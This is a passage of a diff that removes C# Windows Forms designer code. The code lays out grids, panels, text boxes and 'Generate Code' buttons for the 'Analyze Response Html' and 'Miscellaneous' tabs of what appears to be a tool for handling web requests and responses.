System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ResParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle40.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle40.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle40.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle40.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle40.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle40.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle40.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ResParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle40; - this.ResParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ResParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn4, - this.dataGridViewTextBoxColumn5, - this.dataGridViewTextBoxColumn6, - this.dataGridViewTextBoxColumn8}); - this.ResParameterTypeGrid.GridColor = System.Drawing.Color.White; - this.ResParameterTypeGrid.Location = new System.Drawing.Point(8, 156); - this.ResParameterTypeGrid.Name = "ResParameterTypeGrid"; - this.ResParameterTypeGrid.ReadOnly = true; - this.ResParameterTypeGrid.RowHeadersVisible = false; - this.ResParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ResParameterTypeGrid.Size = new System.Drawing.Size(210, 140); - this.ResParameterTypeGrid.TabIndex = 28; - this.ResParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResParameterTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn4 - // - this.dataGridViewCheckBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn4.HeaderText = ""; - this.dataGridViewCheckBoxColumn4.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn4.Name = "dataGridViewCheckBoxColumn4"; - this.dataGridViewCheckBoxColumn4.ReadOnly = true; - this.dataGridViewCheckBoxColumn4.Width = 25; - // - // dataGridViewTextBoxColumn5 - // - this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn5.HeaderText = "Select the Property Type:"; - this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; - this.dataGridViewTextBoxColumn5.ReadOnly = true; - this.dataGridViewTextBoxColumn5.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn5.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn6 - // - this.dataGridViewTextBoxColumn6.HeaderText = "Tag"; - this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; - this.dataGridViewTextBoxColumn6.ReadOnly = true; - this.dataGridViewTextBoxColumn6.Visible = false; - // - // dataGridViewTextBoxColumn8 - // - this.dataGridViewTextBoxColumn8.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; - this.dataGridViewTextBoxColumn8.ReadOnly = true; - this.dataGridViewTextBoxColumn8.Visible = false; - // - // textBox8 - // - this.textBox8.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox8.BackColor = System.Drawing.Color.White; - this.textBox8.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox8.Location = new System.Drawing.Point(11, 121); - this.textBox8.Multiline = true; - this.textBox8.Name = "textBox8"; - this.textBox8.ReadOnly = true; - this.textBox8.Size = new System.Drawing.Size(826, 28); - this.textBox8.TabIndex = 27; - this.textBox8.TabStop = false; - this.textBox8.Text = resources.GetString("textBox8.Text"); - // - // tabPage11 - // - this.tabPage11.BackColor = System.Drawing.Color.White; - this.tabPage11.Controls.Add(this.HtmlAnswerPanel); - this.tabPage11.Controls.Add(this.HtmlAnswerDescriptionTB); - this.tabPage11.Controls.Add(this.HtmlGEPanel); - this.tabPage11.Controls.Add(this.HtmlGVPanel); - this.tabPage11.Controls.Add(this.HtmlOptionsGrid); - this.tabPage11.Controls.Add(this.HtmlErrorTB); - this.tabPage11.Controls.Add(this.HtmlCreateCodeBtn); - this.tabPage11.Controls.Add(this.HtmlDescriptionTB); - this.tabPage11.Controls.Add(this.HtmlMainActionsGrid); - this.tabPage11.Controls.Add(this.textBox4); - this.tabPage11.Location = new System.Drawing.Point(4, 22); - this.tabPage11.Margin = new System.Windows.Forms.Padding(0); - this.tabPage11.Name = "tabPage11"; - this.tabPage11.Size = new System.Drawing.Size(868, 302); - this.tabPage11.TabIndex = 1; - this.tabPage11.Text = " Analyze Response Html "; - // - // HtmlAnswerPanel - // - this.HtmlAnswerPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlAnswerPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.HtmlAnswerPanel.Controls.Add(this.HtmlAnswerLbl); - this.HtmlAnswerPanel.Controls.Add(this.HtmlAnswerTB); - this.HtmlAnswerPanel.Location = new System.Drawing.Point(481, 218); - this.HtmlAnswerPanel.Name = "HtmlAnswerPanel"; - this.HtmlAnswerPanel.Size = new System.Drawing.Size(10, 35); - this.HtmlAnswerPanel.TabIndex = 60; - this.HtmlAnswerPanel.Visible = false; - // - // HtmlAnswerLbl - // - this.HtmlAnswerLbl.AutoSize = true; - this.HtmlAnswerLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HtmlAnswerLbl.Location = new System.Drawing.Point(34, 13); - this.HtmlAnswerLbl.Name = "HtmlAnswerLbl"; - this.HtmlAnswerLbl.Size = new System.Drawing.Size(96, 13); - this.HtmlAnswerLbl.TabIndex = 48; - this.HtmlAnswerLbl.Text = "Enter the keyword:"; - // - // HtmlAnswerTB - // - this.HtmlAnswerTB.Location = new System.Drawing.Point(168, 7); - this.HtmlAnswerTB.Name = "HtmlAnswerTB"; - this.HtmlAnswerTB.Size = new System.Drawing.Size(191, 20); - this.HtmlAnswerTB.TabIndex = 49; - // - // HtmlAnswerDescriptionTB - // - this.HtmlAnswerDescriptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlAnswerDescriptionTB.BackColor = System.Drawing.Color.White; - this.HtmlAnswerDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HtmlAnswerDescriptionTB.Location = new System.Drawing.Point(456, 48); - this.HtmlAnswerDescriptionTB.Multiline = true; - this.HtmlAnswerDescriptionTB.Name = "HtmlAnswerDescriptionTB"; - this.HtmlAnswerDescriptionTB.ReadOnly = true; - this.HtmlAnswerDescriptionTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.HtmlAnswerDescriptionTB.Size = new System.Drawing.Size(398, 164); - this.HtmlAnswerDescriptionTB.TabIndex = 59; - this.HtmlAnswerDescriptionTB.TabStop = false; - this.HtmlAnswerDescriptionTB.Visible = false; - // - // HtmlGEPanel - // - this.HtmlGEPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlGEPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.HtmlGEPanel.Controls.Add(this.label9); - this.HtmlGEPanel.Controls.Add(this.label10); - this.HtmlGEPanel.Controls.Add(this.HtmlGETagTB); - this.HtmlGEPanel.Controls.Add(this.label11); - this.HtmlGEPanel.Controls.Add(this.HtmlGEAttributeValueTB); - this.HtmlGEPanel.Controls.Add(this.HtmlGEAttributeNameTB); - this.HtmlGEPanel.Location = new System.Drawing.Point(466, 218); - this.HtmlGEPanel.Name = "HtmlGEPanel"; - this.HtmlGEPanel.Size = new System.Drawing.Size(10, 35); - this.HtmlGEPanel.TabIndex = 58; - this.HtmlGEPanel.Visible = false; - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.Location = new System.Drawing.Point(5, 7); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(18, 20); - this.label9.TabIndex = 48; - this.label9.Text = "<"; - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.Location = new System.Drawing.Point(368, 7); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(24, 20); - this.label10.TabIndex = 55; - this.label10.Text = "\">"; - // - // HtmlGETagTB - // - this.HtmlGETagTB.Location = new System.Drawing.Point(23, 8); - this.HtmlGETagTB.Name = "HtmlGETagTB"; - this.HtmlGETagTB.Size = new System.Drawing.Size(79, 20); - this.HtmlGETagTB.TabIndex = 49; - // - // label11 - // - this.label11.AutoSize = true; - this.label11.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label11.Location = new System.Drawing.Point(243, 7); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(24, 20); - this.label11.TabIndex = 54; - this.label11.Text = "=\""; - // - // HtmlGEAttributeValueTB - // - this.HtmlGEAttributeValueTB.Location = new System.Drawing.Point(267, 8); - this.HtmlGEAttributeValueTB.Name = "HtmlGEAttributeValueTB"; - this.HtmlGEAttributeValueTB.Size = new System.Drawing.Size(98, 20); - this.HtmlGEAttributeValueTB.TabIndex = 53; - // - // HtmlGEAttributeNameTB - // - this.HtmlGEAttributeNameTB.Location = new System.Drawing.Point(131, 8); - this.HtmlGEAttributeNameTB.Name = "HtmlGEAttributeNameTB"; - this.HtmlGEAttributeNameTB.Size = new System.Drawing.Size(108, 20); - this.HtmlGEAttributeNameTB.TabIndex = 52; - // - // HtmlGVPanel - // - this.HtmlGVPanel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlGVPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; - this.HtmlGVPanel.Controls.Add(this.label5); - this.HtmlGVPanel.Controls.Add(this.label4); - this.HtmlGVPanel.Controls.Add(this.label7); - this.HtmlGVPanel.Controls.Add(this.HtmlGVTagTB); - this.HtmlGVPanel.Controls.Add(this.label6); - this.HtmlGVPanel.Controls.Add(this.HtmlGVMainAttributeNameTB); - this.HtmlGVPanel.Controls.Add(this.HtmlGVHelperAttributeValueTB); - this.HtmlGVPanel.Controls.Add(this.HtmlGVHelperAttributeNameTB); - this.HtmlGVPanel.Location = new System.Drawing.Point(453, 218); - this.HtmlGVPanel.Name = "HtmlGVPanel"; - this.HtmlGVPanel.Size = new System.Drawing.Size(10, 35); - this.HtmlGVPanel.TabIndex = 57; - this.HtmlGVPanel.Visible = false; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.Location = new System.Drawing.Point(147, 12); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(79, 13); - this.label5.TabIndex = 51; - this.label5.Text = "=\"value to get\""; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.Location = new System.Drawing.Point(5, 7); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(18, 20); - this.label4.TabIndex = 48; - this.label4.Text = "<"; - // - // label7 - // - this.label7.AutoSize = true; - this.label7.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.Location = new System.Drawing.Point(368, 9); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(24, 20); - this.label7.TabIndex = 55; - this.label7.Text = "\">"; - // - // HtmlGVTagTB - // - this.HtmlGVTagTB.Location = new System.Drawing.Point(23, 8); - this.HtmlGVTagTB.Name = "HtmlGVTagTB"; - this.HtmlGVTagTB.Size = new System.Drawing.Size(50, 20); - this.HtmlGVTagTB.TabIndex = 49; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.Location = new System.Drawing.Point(292, 8); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(24, 20); - this.label6.TabIndex = 54; - this.label6.Text = "=\""; - // - // HtmlGVMainAttributeNameTB - // - this.HtmlGVMainAttributeNameTB.Location = new System.Drawing.Point(94, 8); - this.HtmlGVMainAttributeNameTB.Name = "HtmlGVMainAttributeNameTB"; - this.HtmlGVMainAttributeNameTB.Size = new System.Drawing.Size(50, 20); - this.HtmlGVMainAttributeNameTB.TabIndex = 50; - // - // HtmlGVHelperAttributeValueTB - // - this.HtmlGVHelperAttributeValueTB.Location = new System.Drawing.Point(316, 9); - this.HtmlGVHelperAttributeValueTB.Name = "HtmlGVHelperAttributeValueTB"; - this.HtmlGVHelperAttributeValueTB.Size = new System.Drawing.Size(50, 20); - this.HtmlGVHelperAttributeValueTB.TabIndex = 53; - // - // HtmlGVHelperAttributeNameTB - // - this.HtmlGVHelperAttributeNameTB.Location = new System.Drawing.Point(240, 9); - this.HtmlGVHelperAttributeNameTB.Name = "HtmlGVHelperAttributeNameTB"; - this.HtmlGVHelperAttributeNameTB.Size = new System.Drawing.Size(50, 20); - this.HtmlGVHelperAttributeNameTB.TabIndex = 52; - // - // HtmlOptionsGrid - // - this.HtmlOptionsGrid.AllowUserToAddRows = false; - this.HtmlOptionsGrid.AllowUserToDeleteRows = false; - this.HtmlOptionsGrid.AllowUserToResizeRows = false; - this.HtmlOptionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlOptionsGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle41.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle41.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle41.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle41.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle41.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle41.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle41.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.HtmlOptionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle41; - this.HtmlOptionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.HtmlOptionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn6, - this.dataGridViewTextBoxColumn10, - this.Column6}); - this.HtmlOptionsGrid.GridColor = System.Drawing.Color.White; - this.HtmlOptionsGrid.Location = new System.Drawing.Point(224, 142); - this.HtmlOptionsGrid.Name = "HtmlOptionsGrid"; - this.HtmlOptionsGrid.ReadOnly = true; - this.HtmlOptionsGrid.RowHeadersVisible = false; - this.HtmlOptionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.HtmlOptionsGrid.Size = new System.Drawing.Size(226, 111); - this.HtmlOptionsGrid.TabIndex = 46; - this.HtmlOptionsGrid.Visible = false; - this.HtmlOptionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HtmlOptionsGrid_CellClick); - // - // dataGridViewCheckBoxColumn6 - // - this.dataGridViewCheckBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn6.HeaderText = ""; - this.dataGridViewCheckBoxColumn6.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn6.Name = "dataGridViewCheckBoxColumn6"; - this.dataGridViewCheckBoxColumn6.ReadOnly = true; - this.dataGridViewCheckBoxColumn6.Width = 25; - // - // dataGridViewTextBoxColumn10 - // - this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn10.HeaderText = "Select an Option:"; - this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; - this.dataGridViewTextBoxColumn10.ReadOnly = true; - this.dataGridViewTextBoxColumn10.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn10.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // Column6 - // - this.Column6.HeaderText = "Type"; - this.Column6.Name = "Column6"; - this.Column6.ReadOnly = true; - this.Column6.Visible = false; - // - // HtmlErrorTB - // - this.HtmlErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlErrorTB.BackColor = System.Drawing.Color.Red; - this.HtmlErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HtmlErrorTB.Location = new System.Drawing.Point(224, 259); - this.HtmlErrorTB.Multiline = true; - this.HtmlErrorTB.Name = "HtmlErrorTB"; - this.HtmlErrorTB.ReadOnly = true; - this.HtmlErrorTB.Size = new System.Drawing.Size(449, 35); - this.HtmlErrorTB.TabIndex = 37; - this.HtmlErrorTB.TabStop = false; - this.HtmlErrorTB.Visible = false; - // - // HtmlCreateCodeBtn - // - this.HtmlCreateCodeBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlCreateCodeBtn.Enabled = false; - this.HtmlCreateCodeBtn.Location = new System.Drawing.Point(712, 271); - this.HtmlCreateCodeBtn.Name = "HtmlCreateCodeBtn"; - this.HtmlCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.HtmlCreateCodeBtn.TabIndex = 36; - this.HtmlCreateCodeBtn.Text = "Generate Code"; - this.HtmlCreateCodeBtn.UseVisualStyleBackColor = true; - this.HtmlCreateCodeBtn.Click += new System.EventHandler(this.HtmlCreateCodeBtn_Click); - // - // HtmlDescriptionTB - // - this.HtmlDescriptionTB.BackColor = System.Drawing.Color.White; - this.HtmlDescriptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HtmlDescriptionTB.Location = new System.Drawing.Point(229, 53); - this.HtmlDescriptionTB.Multiline = true; - this.HtmlDescriptionTB.Name = "HtmlDescriptionTB"; - this.HtmlDescriptionTB.ReadOnly = true; - this.HtmlDescriptionTB.Size = new System.Drawing.Size(217, 79); - this.HtmlDescriptionTB.TabIndex = 35; - this.HtmlDescriptionTB.TabStop = false; - // - // HtmlMainActionsGrid - // - this.HtmlMainActionsGrid.AllowUserToAddRows = false; - this.HtmlMainActionsGrid.AllowUserToDeleteRows = false; - this.HtmlMainActionsGrid.AllowUserToResizeRows = false; - this.HtmlMainActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.HtmlMainActionsGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle42.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle42.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle42.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle42.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle42.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle42.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle42.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.HtmlMainActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle42; - this.HtmlMainActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.HtmlMainActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn5, - this.dataGridViewTextBoxColumn7, - this.dataGridViewTextBoxColumn9}); - this.HtmlMainActionsGrid.GridColor = System.Drawing.Color.White; - this.HtmlMainActionsGrid.Location = new System.Drawing.Point(6, 52); - this.HtmlMainActionsGrid.Name = "HtmlMainActionsGrid"; - this.HtmlMainActionsGrid.ReadOnly = true; - this.HtmlMainActionsGrid.RowHeadersVisible = false; - this.HtmlMainActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.HtmlMainActionsGrid.Size = new System.Drawing.Size(210, 243); - this.HtmlMainActionsGrid.TabIndex = 10; - this.HtmlMainActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HtmlMainActionsGrid_CellClick); - // - // dataGridViewCheckBoxColumn5 - // - this.dataGridViewCheckBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn5.HeaderText = ""; - this.dataGridViewCheckBoxColumn5.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn5.Name = "dataGridViewCheckBoxColumn5"; - this.dataGridViewCheckBoxColumn5.ReadOnly = true; - this.dataGridViewCheckBoxColumn5.Width = 25; - // - // dataGridViewTextBoxColumn7 - // - this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn7.HeaderText = "Select the Action:"; - this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; - this.dataGridViewTextBoxColumn7.ReadOnly = true; - this.dataGridViewTextBoxColumn7.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn7.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn9 - // - this.dataGridViewTextBoxColumn9.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; - this.dataGridViewTextBoxColumn9.ReadOnly = true; - this.dataGridViewTextBoxColumn9.Visible = false; - // - // textBox4 - // - this.textBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox4.BackColor = System.Drawing.Color.White; - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Location = new System.Drawing.Point(17, 14); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(826, 28); - this.textBox4.TabIndex = 9; - this.textBox4.TabStop = false; - this.textBox4.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + - " type, name and actions you want to perform below and the equivalent code will b" + - "e generated. "; - // - // tabPage9 - // - this.tabPage9.Controls.Add(this.ResODescTB); - this.tabPage9.Controls.Add(this.ResOCreateCodeBtn); - this.tabPage9.Controls.Add(this.ResOActionsGrid); - this.tabPage9.Controls.Add(this.textBox15); - this.tabPage9.Location = new System.Drawing.Point(4, 22); - this.tabPage9.Name = "tabPage9"; - this.tabPage9.Size = new System.Drawing.Size(868, 302); - this.tabPage9.TabIndex = 2; - this.tabPage9.Text = " Miscellaneous "; - this.tabPage9.UseVisualStyleBackColor = true; - // - // ResODescTB - // - this.ResODescTB.BackColor = System.Drawing.Color.White; - this.ResODescTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ResODescTB.Location = new System.Drawing.Point(377, 74); - this.ResODescTB.Multiline = true; - this.ResODescTB.Name = "ResODescTB"; - this.ResODescTB.ReadOnly = true; - this.ResODescTB.Size = new System.Drawing.Size(298, 79); - this.ResODescTB.TabIndex = 42; - this.ResODescTB.TabStop = false; - // - // ResOCreateCodeBtn - // - this.ResOCreateCodeBtn.Enabled = false; - this.ResOCreateCodeBtn.Location = new System.Drawing.Point(377, 171); - this.ResOCreateCodeBtn.Name = "ResOCreateCodeBtn"; - this.ResOCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.ResOCreateCodeBtn.TabIndex = 37; - this.ResOCreateCodeBtn.Text = "Generate Code"; - this.ResOCreateCodeBtn.UseVisualStyleBackColor = true; - this.ResOCreateCodeBtn.Click += new System.EventHandler(this.ResOCreateCodeBtn_Click); - // - // ResOActionsGrid - // - this.ResOActionsGrid.AllowUserToAddRows = false; - this.ResOActionsGrid.AllowUserToDeleteRows = false; - this.ResOActionsGrid.AllowUserToResizeRows = false; - this.ResOActionsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ResOActionsGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle43.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle43.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle43.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle43.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle43.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle43.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle43.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ResOActionsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle43; - this.ResOActionsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ResOActionsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn9, - this.dataGridViewTextBoxColumn13, - this.dataGridViewTextBoxColumn18, - this.dataGridViewTextBoxColumn14}); - this.ResOActionsGrid.GridColor = System.Drawing.Color.White; - this.ResOActionsGrid.Location = new System.Drawing.Point(16, 49); - this.ResOActionsGrid.Name = "ResOActionsGrid"; - this.ResOActionsGrid.ReadOnly = true; - this.ResOActionsGrid.RowHeadersVisible = false; - this.ResOActionsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ResOActionsGrid.Size = new System.Drawing.Size(337, 243); - this.ResOActionsGrid.TabIndex = 12; - this.ResOActionsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResOActionsGrid_CellClick); - // - // dataGridViewCheckBoxColumn9 - // - this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn9.HeaderText = ""; - this.dataGridViewCheckBoxColumn9.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; - this.dataGridViewCheckBoxColumn9.ReadOnly = true; - this.dataGridViewCheckBoxColumn9.Width = 25; - // - // dataGridViewTextBoxColumn13 - // - this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn13.HeaderText = "Select the Action:"; - this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; - this.dataGridViewTextBoxColumn13.ReadOnly = true; - this.dataGridViewTextBoxColumn13.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn13.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn18 - // - this.dataGridViewTextBoxColumn18.HeaderText = "Id"; - this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; - this.dataGridViewTextBoxColumn18.ReadOnly = true; - this.dataGridViewTextBoxColumn18.Visible = false; - // - // dataGridViewTextBoxColumn14 - // - this.dataGridViewTextBoxColumn14.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; - 